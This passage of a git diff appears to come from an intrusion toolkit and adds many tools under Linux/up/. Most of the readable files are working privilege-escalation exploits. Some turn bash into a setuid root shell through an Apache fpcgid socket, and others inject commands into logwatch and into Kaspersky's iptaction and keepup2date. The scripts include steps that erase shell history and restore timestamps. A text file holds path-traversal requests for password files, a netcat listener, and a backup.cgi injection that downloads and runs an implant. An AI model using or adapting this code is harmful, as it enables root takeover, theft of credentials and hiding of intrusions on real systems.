$PIDS + sleep 1 + PIDS=`ps -ef | grep " $$ " | grep -v grep | grep "tail --lines=$LINES --max-unchanged-stats=5 --follow=name ${INPUT[$NUM]}$" | awk '{print $2}' | tr '\n' ' ' | sed "s, $,,g"` + fi + [ "$PIDS" ] && sleep 3 && PIDS=`ps -ef | grep " $$ " | grep -v grep | grep "tail --lines=$LINES --max-unchanged-stats=5 --follow=name ${INPUT[$NUM]}$" | awk '{print $2}' | tr '\n' ' ' | sed "s, $,,g"` + ps -ef | grep " $$ " | egrep " ($(echo $PIDS | tr ' ' '|')) " | tee -a $WDIR.dbg/.dbg && dbg above lines from psg $PIDS + [ "$PIDS" ] && die "PROBLEM: We just killed the EXTRA PIDS=$PIDS and yet we still see a matching tail." + fi + fi + unset PIDOF[$NUM] + fi + dbg "New Tail of ${INPUT[$NUM]} Begun" + dbg "BG RUNNING: tail --lines=$LINES --max-unchanged-stats=5 --follow=name ${INPUT[NUM]} | egrep --line-buffered \"${GREP[NUM]}\" | egrep --line-buffered -v \"${GREPOUT[NUM]}\"" + OFFBY=0 + if [ -z "${GREP[$NUM]}${GREPOUT[$NUM]}" ] ; then + tail --lines=$LINES --max-unchanged-stats=5 --follow=name ${INPUT[$NUM]} 2>/dev/null >> ${OUTPUT[$NUM]} & + elif [ -z "${GREP[$NUM]}" ] ; then + tail --lines=$LINES --max-unchanged-stats=5 --follow=name ${INPUT[$NUM]} 2>/dev/null | egrep --line-buffered -v "${GREPOUT[$NUM]}" 2>/dev/null >> ${OUTPUT[$NUM]} & + OFFBY=1 + elif [ -z "${GREPOUT[$NUM]}" ] ; then + tail --lines=$LINES --max-unchanged-stats=5 --follow=name ${INPUT[$NUM]} 2>/dev/null | egrep --line-buffered "${GREP[$NUM]}" 2>/dev/null >> ${OUTPUT[$NUM]} & + OFFBY=1 + else + #both + tail --lines=$LINES --max-unchanged-stats=5 --follow=name ${INPUT[$NUM]} 2>/dev/null | egrep --line-buffered "${GREP[$NUM]}" 2>/dev/null | egrep --line-buffered -v "${GREPOUT[$NUM]}" 2>/dev/null >> ${OUTPUT[$NUM]} & + OFFBY=2 + fi + PIDOF[$NUM]=$! + PIDOF[$NUM]=$((PIDOF[$NUM]-OFFBY)) + [ "${PIDOF[$NUM]}" ] || die PROBLEM: Just started a tail and cannot discover its pid + PIDST=`ps -ef | grep " $$ " | grep -v grep | grep "tail --lines=$LINES --max-unchanged-stats=5 --follow=name ${INPUT[$NUM]}$" | awk '{print $2}' | tr '\n' ' ' | sed "s, $,,g"` + if [ "$PIDST" != "${PIDOF[$NUM]}" ] ; then + dbg "ISSUE: After subtracting OFFBY=$OFFBY we get PIDST=$PIDST and PIDOF=${PIDOF[$NUM]}. Resetting to $PIDST now." + PIDOF[$NUM]=$PIDST + ps -ef | grep " $$ " | grep -v grep | egrep " ${PIDOF[$NUM]} |tail --lines=$LINES --max-unchanged-stats=5 --follow=name ${INPUT[$NUM]}$" + fi + dbg "New tail on NUM=$1 has PID=${PIDOF[$NUM]}" + LASTTIME[$NUM]=`date +%s` +} + + + +[ "$DOTHESE" ] || die nokill define DOTHESE first + +[ -d $WDIR ] || die nokill $WDIR must exist +[ -d $WDIR2 ] || die nokill $WDIR2 must exist + +for NUM in $DOTHESE ; do + [ "${MAXTIME[$NUM]}" ] || MAXTIME[$NUM]=0 + [ "${LASTTIME[$NUM]}" ] || LASTTIME[$NUM]=0 + dbg "Monitoring ${INPUT[$NUM]} with MAXPER=${MAXPER[$NUM]} MAXTIME=${MAXTIME[$NUM]} NULLIT=${NULLIT[$NUM]} ONCHANGE=${ONCHANGE[$NUM]}" + ls -al ${INPUT[NUM]} || die nokill INPUT[$NUM]=${INPUT[NUM]} not there +done + +LOOP=0 +while [ 1 ]; +do + [ -d $WDIR ] || break + [ -d $WDIR2 ] || break + + for NUM in $DOTHESE ; do + dbg "Monitoring ${INPUT[$NUM]}" + ziptailnullfile $NUM + done + + LOOP=$((LOOP+1)) + + [ $LOOP -gt 2 ] && dbg CLOSING STDOUT STDERR + [ $LOOP -gt 2 ] && exec 0>&- >&- 2>&- 3>&- 4>&- 5>&- 6>&- 7>&- 8>&- 9>&- + + if [ "0$DOATINTERVAL" -gt 0 ] ; then + if [ $((`date +%s`%DOATINTERVAL)) -lt 15 ] ; then # Do every DOATINTERVAL seconds + # do stuff here every DOATINTERVAL seconds + for NUM in 1 2 3 4 5 6 7 ; do + # Skip if nothing to do + [ "${DOAT[$NUM]}" ] || continue + [ $NUM == 0 ] && continue + FN=`echo "${DOAT[$NUM]}" | tr -d '\t /{}'` + EXT=`date +%F-%H%M%S` + dbg "On DOATINTERVAL=$DOATINTERVAL running: DOAT[$NUM] saving to $WDIR2/$FN.$EXT" + echo "# `w;date -u` GMT: Running ${DOAT[$NUM]}" >> $WDIR2/$FN.$EXT + echo "# `date` (target time zone)" >> $WDIR2/$FN.$EXT + ( ${DOAT[$NUM]} ) >> $WDIR2/$FN.$EXT 2>&1 + done + fi + fi + + sleep 15 + # Lots of .dbg.YYYYMMDDHHMMSS in u/u.dbg...kinda loud but unique names this way + [ -d $WDIR.dbg -a -f $WDIR.dbg/.dbg -a -d $WDIR2.dbg ] && cat $WDIR.dbg/.dbg >> $WDIR2.dbg/.dbg.`date +%F-%H%M%S` && cat /dev/null > $WDIR.dbg/.dbg + # Every 15m we clean these up some into a bigger file + [ $((`date +%s`%900)) -le 15 ] && sleep 2 && cat $WDIR2.dbg/.dbg* > $WDIR.dbg/dbg && rm -f $WDIR2.dbg/.dbg* && mv $WDIR.dbg/dbg $WDIR2.dbg/dbg.`date +%F-%H%M%S` +done +dbg $WDIR or $WDIR2 must be gone +dbg `ls -alrt $WDIR $WDIR2; ps -wefwwwww | egrep -v "[0-9].egrep" | egrep "tail.--lines=$LINES --max-unchanged-stats=5"` + +ps -wefwwwww | egrep -v "[0-9].egrep" | egrep "tail.--lines=$LINES --max-unchanged-stats=5" && echo kill `ps -wefwwwww | egrep -v "[0-9].egrep" | egrep "tail.--lines=$LINES --max-unchanged-stats=5" | awk '{print $2}'` && kill `ps -wefwwwww | egrep -v "[0-9].egrep" | egrep "tail.--lines=$LINES --max-unchanged-stats=5" | awk '{print $2}'` + + +cat <&- 2>&- +sleep 10800 +/usr/sbin/fuser -k $DIR/* +rm -rf $DIR diff --git a/Linux/up/curses.tar.bz2 b/Linux/up/curses.tar.bz2 new file mode 100644 index 0000000..446a27b Binary files /dev/null and b/Linux/up/curses.tar.bz2 differ diff --git a/Linux/up/dampcrowd.tar.bz2 b/Linux/up/dampcrowd.tar.bz2 new file mode 100644 index 0000000..f819e12 Binary files /dev/null and b/Linux/up/dampcrowd.tar.bz2 differ diff --git a/Linux/up/dewdrops.tar.bz2 b/Linux/up/dewdrops.tar.bz2 new file mode 100644 index 0000000..744f00d Binary files /dev/null and b/Linux/up/dewdrops.tar.bz2 differ diff --git a/Linux/up/eb b/Linux/up/eb new file mode 100755 index 0000000..8b5537e Binary files /dev/null and b/Linux/up/eb differ diff --git a/Linux/up/eb.tgz b/Linux/up/eb.tgz new file mode 100644 index 0000000..b21565b Binary files /dev/null and b/Linux/up/eb.tgz differ diff --git a/Linux/up/efs b/Linux/up/efs new file mode 100755 index 0000000..9d7af9c Binary files /dev/null and b/Linux/up/efs differ diff --git a/Linux/up/eh.tgz b/Linux/up/eh.tgz new file mode 100644 index 0000000..c12933b Binary files /dev/null and b/Linux/up/eh.tgz differ diff --git a/Linux/up/elatedmonkey.1.0.1.1.sh b/Linux/up/elatedmonkey.1.0.1.1.sh new file mode 100755 index 0000000..97c49c8 --- /dev/null +++ b/Linux/up/elatedmonkey.1.0.1.1.sh @@ -0,0 +1,91 @@ +#!/bin/sh + +PWD=`pwd` +WDIR=$PWD +USER=`id -un` +HOME="/home/$USER" +PHP_SCRIPT="$HOME/public_html/info.php" +PHP_URL_PATH="/~$USER/info.php" +PY_SCRIPT="$PWD/wrap" + +if [[ $# = 0 ]]; then +cat 1>&2 < $PY_SCRIPT < $PHP_SCRIPT < +END + chmod 604 $PHP_SCRIPT + + CURL=`which curl 2> /dev/null` + WGET=`which wget 2> /dev/null` + if [[ -x $CURL ]]; then + curl -s "http://localhost$PHP_URL_PATH" + elif [[ -x $WGET ]]; then + wget -q -O - "http://localhost$PHP_URL_PATH" + else + cat > /dev/tcp/127.0.0.1/80 < len(s): + if s in buf: + return True + buf = buf[-len(s):] + f.read(4096) + + return False + +def grep(fn, ex): + for l in open(fn): + if re.search(ex, l) != None: + return True + return False + +def get_fpcgid_pid(): + p = Popen(["/bin/ps", "-o", "pid,ppid,euser,egroup,fname", "-C", "httpd"], stdout=PIPE); + out = p.communicate()[0] + rootp = [] + ppid = 0 + for l in out.split("\n"): + f = l.split() + if len(f) == 0: + continue + if f[2] == "root": + rootp.append( (f[0], f[1]) ) # pid, ppid + if f[2] == "nobody": + ppid = f[1] + + if len(rootp) > 2: + print "could not find fpcgid proc, too many root httpd" + return -1 + + for t in rootp: + if t[1] == ppid: + return t[0] + + return -2 + + +def sudo(argv): + + if not os.path.isfile(httpdbin): + print "no " + httpdbin + return(2) + + if not os.path.isfile(httpdconf): + print "no " + httpdconf + return(3) + + s = os.stat(fpcgisock) + if not stat.S_ISSOCK(s.st_mode): + print fpcgisock + " is not a socket" + return(4) + + if not os.access(fpcgisock, os.W_OK): + print "cannot write " + fpcgisock + ", must be run as 'nobody'" + return(5) + + if get_fpcgid_pid() < 0: + print "fpcgid not found" + return(6) + + CGI_REQ = 1 + + execpath = argv[0] + execname = os.path.basename(execpath) + + env = execpath + "\n" + execname + "\nnulluri\n" + "x=null\n" + "+".join(argv[1:]) + "\n" + userdir = "foo" + # req-type, num env entries, env len + msg = struct.pack("III", CGI_REQ, 1, len(env)) + msg += env + + if bgrep(httpdbin, "mod_suexec.c") or grep(httpdconf, "LoadModule.*mod_suexec.so"): + #print "mod_suexec installed" + # core mod idx, suexec mod idx, suexec cfg, userdir len + msg += struct.pack("II16sI", 0, 2, "\x00" * 16, len(userdir)) + else: + msg += struct.pack("II", 0, len(userdir)) + + msg += userdir + +# print "env:" +# print env +# print "sending msg (%d):" % (len(msg)) +# print binascii.hexlify(msg) + + s = socket(AF_UNIX, SOCK_STREAM, 0) + s.connect(fpcgisock) + s.send(msg) + s.close() + sleep(0.5) + return 0 + +def getsh(): + os.stat_float_times(True) + d = os.path.dirname(sh) + s = os.stat(d) + ssock = os.stat(fpcgisock) + r = sudo(["/bin/cp", "/bin/bash", sh]) + if r != 0: + print "copy error " + r + sys.exit(r) + r = sudo(["/bin/chmod", "4755", sh]) + if r != 0: + print "chmod error " + r + sys.exit(r) + cmd = "rm -f %s; " % sh + cmd += "touch -a -d @%.9f %s; " % (s.st_atime, d) + cmd += "touch -m -d @%.9f %s; " % (s.st_mtime, d) + # change socket atime? ctime is always updated on access +# cmd += "touch -a -d @%.9f %s; " % (ssock.st_atime, fpcgisock) + cmd += "if grep -r FPScriptLog /usr/local/apache/etc 2>/dev/null; then " + cmd += "echo 'Script logging is enabled. Check the file following FPScriptLog in the line above.'; fi;" + cmd += "id; exec bash -p" + os.execl(sh, sh, "-p", "-c", cmd) + +if len(sys.argv) < 2: + print "usage: " + sys.argv[0] + " -s | /abs/path/to/cmd [arg ...]" + sys.exit(1) + +if (sys.argv[1] == "-s"): + getsh() +else: + sudo(sys.argv[1:]) + diff --git a/Linux/up/endlessdonut.1.1.2.1.py b/Linux/up/endlessdonut.1.1.2.1.py new file mode 100644 index 0000000..ac6176f --- /dev/null +++ b/Linux/up/endlessdonut.1.1.2.1.py @@ -0,0 +1,180 @@ +#!/usr/bin/python + +import sys +import struct +import os +import os.path +import stat +import binascii +import re +import warnings +from time import * +from socket import * +from subprocess import * +from signal import * + +signal(SIGCHLD, SIG_DFL) + +fpcgisock = "/usr/local/apache/logs/fpcgisock" +httpdconf = "/usr/local/apache/etc/httpd.conf" +httpdbin = "/usr/local/apache/bin/httpd" + +def checkmntflag(path,flag): + f = open("/proc/mounts", "r") + mnts = f.readlines() + f.close() + mnts = map(lambda x: x.split(), mnts) + mnts.sort(key=lambda x: len(x[1]), reverse=True) + + for mnt in mnts: + (mntpt,flags) = (mnt[1],mnt[3]) + if path.startswith(mntpt): + if flag in flags.split(','): + return True + else: + return False + + return False + +def bgrep(fn, s): + f = open(fn) + buf = f.read(4096) + while buf > len(s): + if s in buf: + return True + buf = buf[-len(s):] + f.read(4096) + + return False + +def grep(fn, ex): + for l in open(fn): + if re.search(ex, l) != None: + return True + return False + +def get_fpcgid_pid(): + p = Popen(["/bin/ps", "-o", "pid,ppid,euser,egroup,fname", "-C", "httpd"], stdout=PIPE) + out = p.communicate()[0] + rootp = [] + ppid = 0 + for l in out.split("\n"): + f = l.split() + if len(f) == 0: + continue + if f[2] == "root": + rootp.append( (f[0], f[1]) ) # pid, ppid + if f[2] == "nobody": + ppid = f[1] + + if len(rootp) > 2: + print "could not find fpcgid proc, too many root httpd" + return -1 + + for t in rootp: + if t[1] == ppid: + return t[0] + + return -2 + + +def sudo(argv): + + if not os.path.isfile(httpdbin): + print "no " + httpdbin + return(2) + + if not os.path.isfile(httpdconf): + print "no " + httpdconf + return(3) + + s = os.stat(fpcgisock) + if not stat.S_ISSOCK(s.st_mode): + print fpcgisock + " is not a socket" + return(4) + + if not os.access(fpcgisock, os.W_OK): + print "cannot write " + fpcgisock + ", must be run as 'nobody'" + return(5) + + if get_fpcgid_pid() < 0: + print "fpcgid not found" + return(6) + + CGI_REQ = 1 + + execpath = argv[0] + execname = os.path.basename(execpath) + + env = execpath + "\n" + execname + "\nnulluri\n" + "x=null\n" + "+".join(argv[1:]) + "\n" + userdir = "foo" + # req-type, num env entries, env len + msg = struct.pack("III", CGI_REQ, 1, len(env)) + msg += env + + if bgrep(httpdbin, "mod_suexec.c") or grep(httpdconf, "LoadModule.*mod_suexec.so"): + #print "mod_suexec installed" + # core mod idx, suexec mod idx, suexec cfg, userdir len + msg += struct.pack("II16sI", 0, 2, "\x00" * 16, len(userdir)) + else: + msg += struct.pack("II", 0, len(userdir)) + + msg += userdir + +# print "env:" +# print env +# print "sending msg (%d):" % (len(msg)) +# print binascii.hexlify(msg) + + s = socket(AF_UNIX, SOCK_STREAM, 0) + s.connect(fpcgisock) + s.send(msg) + s.close() + sleep(0.5) + return 0 + +def getsh(): + cwd = os.getcwd() + warnings.filterwarnings("ignore") + sh = os.tempnam(cwd) + warnings.resetwarnings() + if checkmntflag(cwd, "noexec"): + print cwd + " is mounted noexec. try again." + sys.exit(-1) + if checkmntflag(cwd, "ro"): + print cwd + " is mounted read-only. try again." + sys.exit(-1) + if not os.access(cwd, os.W_OK): + print "can't create new files in " + cwd + ". you don't have permission" + sys.exit(-1) + os.stat_float_times(True) + d = os.path.dirname(sh) + s = os.stat(d) + ssock = os.stat(fpcgisock) + r = sudo(["/bin/cp", "/bin/bash", sh]) + if r != 0: + print "copy error " + str(r) + sys.exit(r) + r = sudo(["/bin/chmod", "4755", sh]) + if r != 0: + print "chmod error " + str(r) + sys.exit(r) + cmd = "rm -f %s; " % sh + cmd += "touch -a -d @%.9f %s; " % (s.st_atime, d) + cmd += "touch -m -d @%.9f %s; " % (s.st_mtime, d) + # change socket atime? ctime is always updated on access +# cmd += "touch -a -d @%.9f %s; " % (ssock.st_atime, fpcgisock) + cmd += "if grep -r FPScriptLog /usr/local/apache/etc 2>/dev/null; then " + cmd += "echo 'Script logging is enabled. Check the file following FPScriptLog in the line above.'; fi;" + cmd += "exec python -c \"import os;os.setuid(0);os.setgid(0);os.setgroups([0]);os.system('/usr/bin/id');" + cmd += "os.execl('/bin/bash','bash')\"" + os.execl(sh, sh, "-p", "-c", cmd) + +if len(sys.argv) < 2: + print "usage: " + sys.argv[0] + " -s | /abs/path/to/cmd [arg ...]" + sys.exit(1) + +if (sys.argv[1] == "-s"): + getsh() +else: + sudo(sys.argv[1:]) + diff --git a/Linux/up/enemyrun.tar.bz2 b/Linux/up/enemyrun.tar.bz2 new file mode 100644 index 0000000..1200fba Binary files /dev/null and b/Linux/up/enemyrun.tar.bz2 differ diff --git a/Linux/up/enemyrun.v2.3.1.3.SunOS5.8.targetdl b/Linux/up/enemyrun.v2.3.1.3.SunOS5.8.targetdl new file mode 100755 index 0000000..8b1f750 Binary files /dev/null and b/Linux/up/enemyrun.v2.3.1.3.SunOS5.8.targetdl differ diff --git a/Linux/up/envoytomato b/Linux/up/envoytomato new file mode 100755 index 0000000..cd6e532 Binary files /dev/null and b/Linux/up/envoytomato differ diff --git a/Linux/up/epoxyresin.v1.0.0.1 b/Linux/up/epoxyresin.v1.0.0.1 new file mode 100755 index 0000000..0371756 Binary files /dev/null and b/Linux/up/epoxyresin.v1.0.0.1 differ diff --git a/Linux/up/es.tgz b/Linux/up/es.tgz new file mode 100644 index 0000000..892163b Binary files /dev/null and b/Linux/up/es.tgz differ diff --git a/Linux/up/estesfox b/Linux/up/estesfox new file mode 100755 index 0000000..20d565b --- /dev/null +++ b/Linux/up/estesfox @@ -0,0 +1,29 @@ +#!/bin/bash + + PROGNAME="00-logwatch" + SCRIPTDIR=/etc/log.d/scripts/logfiles/samba/ + #SCRIPTDIR=/etc/log.d/scripts/logfiles/cron/ + #SCRIPTDIR=/etc/log.d/scripts/logfiles/xferlog/ + + echo "ready to pounce..." + while :; do + set `ps -o pid -C $PROGNAME` + if [ -n "$2" ]; then + mkdir /tmp/logwatch.$2 + ln -s $SCRIPTDIR'`cd tmp;chown root:root x;chmod 4777 x`' /tmp/logwatch.$2/cron + echo "making the changes now..." + break; + fi + done + + echo "waiting..." + while :; do + set `ps -o pid -C $PROGNAME` + if [ -z "$2" ]; then + echo "job exited cleanly." + break; + fi + done + + #execute the program + /tmp/x diff --git a/Linux/up/estopmoonlit b/Linux/up/estopmoonlit new file mode 100755 index 0000000..8cb4d08 Binary files /dev/null and b/Linux/up/estopmoonlit differ diff --git a/Linux/up/evolvingstrategy b/Linux/up/evolvingstrategy new file mode 100644 index 0000000..8bab4e7 --- /dev/null +++ b/Linux/up/evolvingstrategy @@ -0,0 +1,82 @@ +#!/bin/sh + +if [[ $# = 0 ]]; then + DIR=/var/emdg +else + DIR=$1 +fi + +PATH=.:$PATH +export PATH + +if [[ `id -ru` == 0 ]]; then + id + exit +fi + +EXE=$DIR/sbin/iptaction +OWNER=`ls -la $EXE|awk '{print $3}'` + +if [ -r $EXE ] && [ -u $EXE ] && [ $OWNER = "root" ] ; then + $EXE "127.0.0.1|cp /bin/sh .;chown root sh; chmod 4777 sh;" perm + echo unset HISTFILE HISTFILESIZE HISTSIZE + echo rm sh $0 + echo ls -la + echo + exec sh -p +else + echo skipping $EXE + echo wrong permissions + ls -la $EXE + echo +fi + +EXE=$DIR/sbin/ey_vrupdate +OWNER=`ls -la $EXE|awk '{print $3}'` + +echo trying $EXE +echo + +KEEPUP=$DIR/sbin/keepup2date +OWNER2=`ls -la $KEEPUP|awk '{print $3}'` +CONF=`strings -a $EXE|grep kav.*conf$` +OWNER3=`ls -la $CONF|awk '{print $3}'` +echo configuration file: +ls -l $CONF +echo + +if [ -r $EXE ] && [ -u $EXE ] && [ $OWNER = "root" ] ; then + echo ls -li $KEEPUP $CONF + ls -li $KEEPUP $CONF + echo ls -lic $KEEPUP $CONF + ls -lic $KEEPUP $CONF + echo ls -liu $KEEPUP $CONF + ls -liu $KEEPUP $CONF + + if [ -w $KEEPUP ] && [ $OWNER2 = "nobody" ] && [ -w $CONF ] && [ $OWNER3 = "nobody" ]; then + tar cvfp .t.$$ $KEEPUP $CONF + cat /bin/sh > $KEEPUP + echo "cp /bin/sh .;chown root sh; chmod 4777 sh" > $CONF + chmod +x $CONF + echo + echo clean up when elevated: + echo unset HISTFILE HISTFILESIZE HISTSIZE + echo "(cd /; tar xvfp `pwd`/.t.$$)" + echo "ls -la $KEEPUP $CONF" + echo rm .t.$$ sh $0 + echo ls -la + echo + $EXE + exec sh -p + else + echo + echo skipping $KEEPUP $CONF + echo wrong permissions + ls -la $KEEPUP $CONF + fi +else + echo + echo skipping $EXE + echo wrong permissions + ls -la $EXE +fi diff --git a/Linux/up/evolvingstrategy.1.0.0.1 b/Linux/up/evolvingstrategy.1.0.0.1 new file mode 100644 index 0000000..5de733a --- /dev/null +++ b/Linux/up/evolvingstrategy.1.0.0.1 @@ -0,0 +1,66 @@ +#!/bin/sh + +if [[ $# = 0 ]]; then + DIR=/var/emdg +else + DIR=$1 +fi + +PATH=.:$PATH +export PATH + +if [[ `id -ru` == 0 ]]; then + id + exit +fi + +EXE=$DIR/sbin/iptaction +OWNER=`ls -la $EXE|cut -f3 -d" "` + +if [ -r $EXE ] && [ -u $EXE ] && [ $OWNER = "root" ] ; then + $EXE "10.1.1.1|cp /bin/sh .;chown root sh; chmod 4777 sh;" perm + exec sh -p +else + echo skipping $EXE + echo wrong permissions + ls -la $EXE + echo +fi + +EXE=$DIR/sbin/ey_vrupdate +OWNER=`ls -la $EXE|cut -f3 -d" "` + +echo trying $EXE +echo + +if [ -r $EXE ] && [ -u $EXE ] && [ $OWNER = "root" ] ; then + ls -li $DIR/sbin/keepup2date $DIR/etc/kavconfig.conf + ls -lic $DIR/sbin/keepup2date $DIR/etc/kavconfig.conf + ls -liu $DIR/sbin/keepup2date $DIR/etc/kavconfig.conf + + EXE2=$DIR/sbin/keepup2date + OWNER2=`ls -la $EXE2|cut -f3 -d" "` + CONF=$DIR/etc/kavconfig.conf + OWNER3=`ls -la $CONF|cut -f3 -d" "` + if [ -w $EXE2 ] && [ $OWNER2 = "nobody" ] && [ -w $CONF ] && [ $OWNER3 = "nobody" ]; then + tar cvfp .t $DIR/sbin/keepup2date $DIR/etc/kavconfig.conf + cat /bin/sh > $DIR/sbin/keepup2date + echo "cp /bin/sh .;chown root sh; chmod 4777 sh" > $DIR/etc/kavconfig.conf + echo + echo clean up when elevated: + echo "cd /; tar xvfp `pwd`/.t" + echo "ls -la $DIR/sbin/keepup2date $DIR/etc/kavconfig.conf" + $EXE + exec sh -p + else + echo + echo skipping $EXE2 $CONF + echo wrong permissions + ls -la $EXE2 $CONF + fi +else + echo + echo skipping $EXE + echo wrong permissions + ls -la $EXE +fi diff --git a/Linux/up/evolvingstrategy.1.0.1.1 b/Linux/up/evolvingstrategy.1.0.1.1 new file mode 100644 index 0000000..8bab4e7 --- /dev/null +++ b/Linux/up/evolvingstrategy.1.0.1.1 @@ -0,0 +1,82 @@ +#!/bin/sh + +if [[ $# = 0 ]]; then + DIR=/var/emdg +else + DIR=$1 +fi + +PATH=.:$PATH +export PATH + +if [[ `id -ru` == 0 ]]; then + id + exit +fi + +EXE=$DIR/sbin/iptaction +OWNER=`ls -la $EXE|awk '{print $3}'` + +if [ -r $EXE ] && [ -u $EXE ] && [ $OWNER = "root" ] ; then + $EXE "127.0.0.1|cp /bin/sh .;chown root sh; chmod 4777 sh;" perm + echo unset HISTFILE HISTFILESIZE HISTSIZE + echo rm sh $0 + echo ls -la + echo + exec sh -p +else + echo skipping $EXE + echo wrong permissions + ls -la $EXE + echo +fi + +EXE=$DIR/sbin/ey_vrupdate +OWNER=`ls -la $EXE|awk '{print $3}'` + +echo trying $EXE +echo + +KEEPUP=$DIR/sbin/keepup2date +OWNER2=`ls -la $KEEPUP|awk '{print $3}'` +CONF=`strings -a $EXE|grep kav.*conf$` +OWNER3=`ls -la $CONF|awk '{print $3}'` +echo configuration file: +ls -l $CONF +echo + +if [ -r $EXE ] && [ -u $EXE ] && [ $OWNER = "root" ] ; then + echo ls -li $KEEPUP $CONF + ls -li $KEEPUP $CONF + echo ls -lic $KEEPUP $CONF + ls -lic $KEEPUP $CONF + echo ls -liu $KEEPUP $CONF + ls -liu $KEEPUP $CONF + + if [ -w $KEEPUP ] && [ $OWNER2 = "nobody" ] && [ -w $CONF ] && [ $OWNER3 = "nobody" ]; then + tar cvfp .t.$$ $KEEPUP $CONF + cat /bin/sh > $KEEPUP + echo "cp /bin/sh .;chown root sh; chmod 4777 sh" > $CONF + chmod +x $CONF + echo + echo clean up when elevated: + echo unset HISTFILE HISTFILESIZE HISTSIZE + echo "(cd /; tar xvfp `pwd`/.t.$$)" + echo "ls -la $KEEPUP $CONF" + echo rm .t.$$ sh $0 + echo ls -la + echo + $EXE + exec sh -p + else + echo + echo skipping $KEEPUP $CONF + echo wrong permissions + ls -la $KEEPUP $CONF + fi +else + echo + echo skipping $EXE + echo wrong permissions + ls -la $EXE +fi diff --git a/Linux/up/exactchange.tar.bz2 b/Linux/up/exactchange.tar.bz2 new file mode 100644 index 0000000..f70bc79 Binary files /dev/null and b/Linux/up/exactchange.tar.bz2 differ diff --git a/Linux/up/exp.tar.Z b/Linux/up/exp.tar.Z new file mode 100644 index 0000000..93d834a Binary files /dev/null and b/Linux/up/exp.tar.Z differ diff --git a/Linux/up/extinctspinach.txt b/Linux/up/extinctspinach.txt new file mode 100644 index 0000000..4bcbe72 --- /dev/null +++ b/Linux/up/extinctspinach.txt @@ -0,0 +1,14 @@ +telnet 127.0.0.1 80 +GET /caspsamp/tour/tourcodebrws.asp?source=/caspsamp/../admin/conf/service.pwd HTTP/1.0 +telnet 127.0.0.1 80 +GET /caspsamp/401K/content/code.asp?source=/caspsamp/../admin/conf/service.pwd HTTP/1.0 + +(echo -e "HTTP/1.0 200\n";cat noserver ) | /usr/bin/nc -vv -l -p 5533 + +-nrtun 5322 + +http://127.0.0.1:81/cgi-bin/.cobalt/backup/backup.cgi +Fill in Frequency: Daily +Location: +PI:/tmp`mkdir /tmp/.scsi;cd /tmp/.scsi;wget http://PI:5533/sendmail -Osendmail;chmod +x sendmail;PATH=. D=-cPI:5322 sendmail` + diff --git a/Linux/up/exze b/Linux/up/exze new file mode 100755 index 0000000..2c95848 Binary files /dev/null and b/Linux/up/exze differ diff --git a/Linux/up/forkpty.i386-pc-solaris2.10 b/Linux/up/forkpty.i386-pc-solaris2.10 new file mode 100644 index 0000000..80af585 Binary files /dev/null and b/Linux/up/forkpty.i386-pc-solaris2.10 differ diff --git a/Linux/up/forkpty.i386-pc-solaris2.6 b/Linux/up/forkpty.i386-pc-solaris2.6 new file mode 100644 index 0000000..80af585 Binary files /dev/null and b/Linux/up/forkpty.i386-pc-solaris2.6 differ diff --git a/Linux/up/forkpty.i386-pc-solaris2.7 b/Linux/up/forkpty.i386-pc-solaris2.7 new file mode 100644 index 0000000..80af585 Binary files /dev/null and b/Linux/up/forkpty.i386-pc-solaris2.7 differ diff --git a/Linux/up/forkpty.i386-pc-solaris2.8 b/Linux/up/forkpty.i386-pc-solaris2.8 new file mode 100644 index 0000000..80af585 Binary files /dev/null and b/Linux/up/forkpty.i386-pc-solaris2.8 differ diff --git a/Linux/up/forkpty.i386-pc-solaris2.9 b/Linux/up/forkpty.i386-pc-solaris2.9 new file mode 100644 index 0000000..80af585 Binary files /dev/null and b/Linux/up/forkpty.i386-pc-solaris2.9 differ diff --git a/Linux/up/forkpty.i386-unknown-freebsd4.0 b/Linux/up/forkpty.i386-unknown-freebsd4.0 new file mode 100644 index 0000000..abce73c Binary files /dev/null and b/Linux/up/forkpty.i386-unknown-freebsd4.0 differ diff --git a/Linux/up/forkpty.i386-unknown-freebsd4.1 b/Linux/up/forkpty.i386-unknown-freebsd4.1 new file mode 100644 index 0000000..abce73c Binary files /dev/null and b/Linux/up/forkpty.i386-unknown-freebsd4.1 differ diff --git a/Linux/up/forkpty.i386-unknown-freebsd4.2 b/Linux/up/forkpty.i386-unknown-freebsd4.2 new file mode 100644 index 0000000..abce73c Binary files /dev/null and b/Linux/up/forkpty.i386-unknown-freebsd4.2 differ diff --git a/Linux/up/forkpty.i386-unknown-freebsd4.3 b/Linux/up/forkpty.i386-unknown-freebsd4.3 new file mode 100644 index 0000000..abce73c Binary files /dev/null and b/Linux/up/forkpty.i386-unknown-freebsd4.3 differ diff --git a/Linux/up/forkpty.i386-unknown-freebsd4.4 b/Linux/up/forkpty.i386-unknown-freebsd4.4 new file mode 100644 index 0000000..abce73c Binary files /dev/null and b/Linux/up/forkpty.i386-unknown-freebsd4.4 differ diff --git a/Linux/up/forkpty.i386-unknown-freebsd4.5 b/Linux/up/forkpty.i386-unknown-freebsd4.5 new file mode 100644 index 0000000..abce73c Binary files /dev/null and b/Linux/up/forkpty.i386-unknown-freebsd4.5 differ diff --git a/Linux/up/forkpty.i386-unknown-freebsd4.6 b/Linux/up/forkpty.i386-unknown-freebsd4.6 new file mode 100644 index 0000000..abce73c Binary files /dev/null and b/Linux/up/forkpty.i386-unknown-freebsd4.6 differ diff --git a/Linux/up/forkpty.i386-unknown-freebsd4.7 b/Linux/up/forkpty.i386-unknown-freebsd4.7 new file mode 100644 index 0000000..abce73c Binary files /dev/null and b/Linux/up/forkpty.i386-unknown-freebsd4.7 differ diff --git a/Linux/up/forkpty.i386-unknown-freebsd4.8 b/Linux/up/forkpty.i386-unknown-freebsd4.8 new file mode 100644 index 0000000..abce73c Binary files /dev/null and b/Linux/up/forkpty.i386-unknown-freebsd4.8 differ diff --git a/Linux/up/forkpty.i386-unknown-freebsd4.9 b/Linux/up/forkpty.i386-unknown-freebsd4.9 new file mode 100644 index 0000000..abce73c Binary files /dev/null and b/Linux/up/forkpty.i386-unknown-freebsd4.9 differ diff --git a/Linux/up/forkpty.i386-unknown-freebsd6.0 b/Linux/up/forkpty.i386-unknown-freebsd6.0 new file mode 100755 index 0000000..fec3725 Binary files /dev/null and b/Linux/up/forkpty.i386-unknown-freebsd6.0 differ diff --git a/Linux/up/forkpty.i586-pc-linux-gnu b/Linux/up/forkpty.i586-pc-linux-gnu new file mode 100644 index 0000000..7bae613 Binary files /dev/null and b/Linux/up/forkpty.i586-pc-linux-gnu differ diff --git a/Linux/up/forkpty.i686-pc-linux-gnu 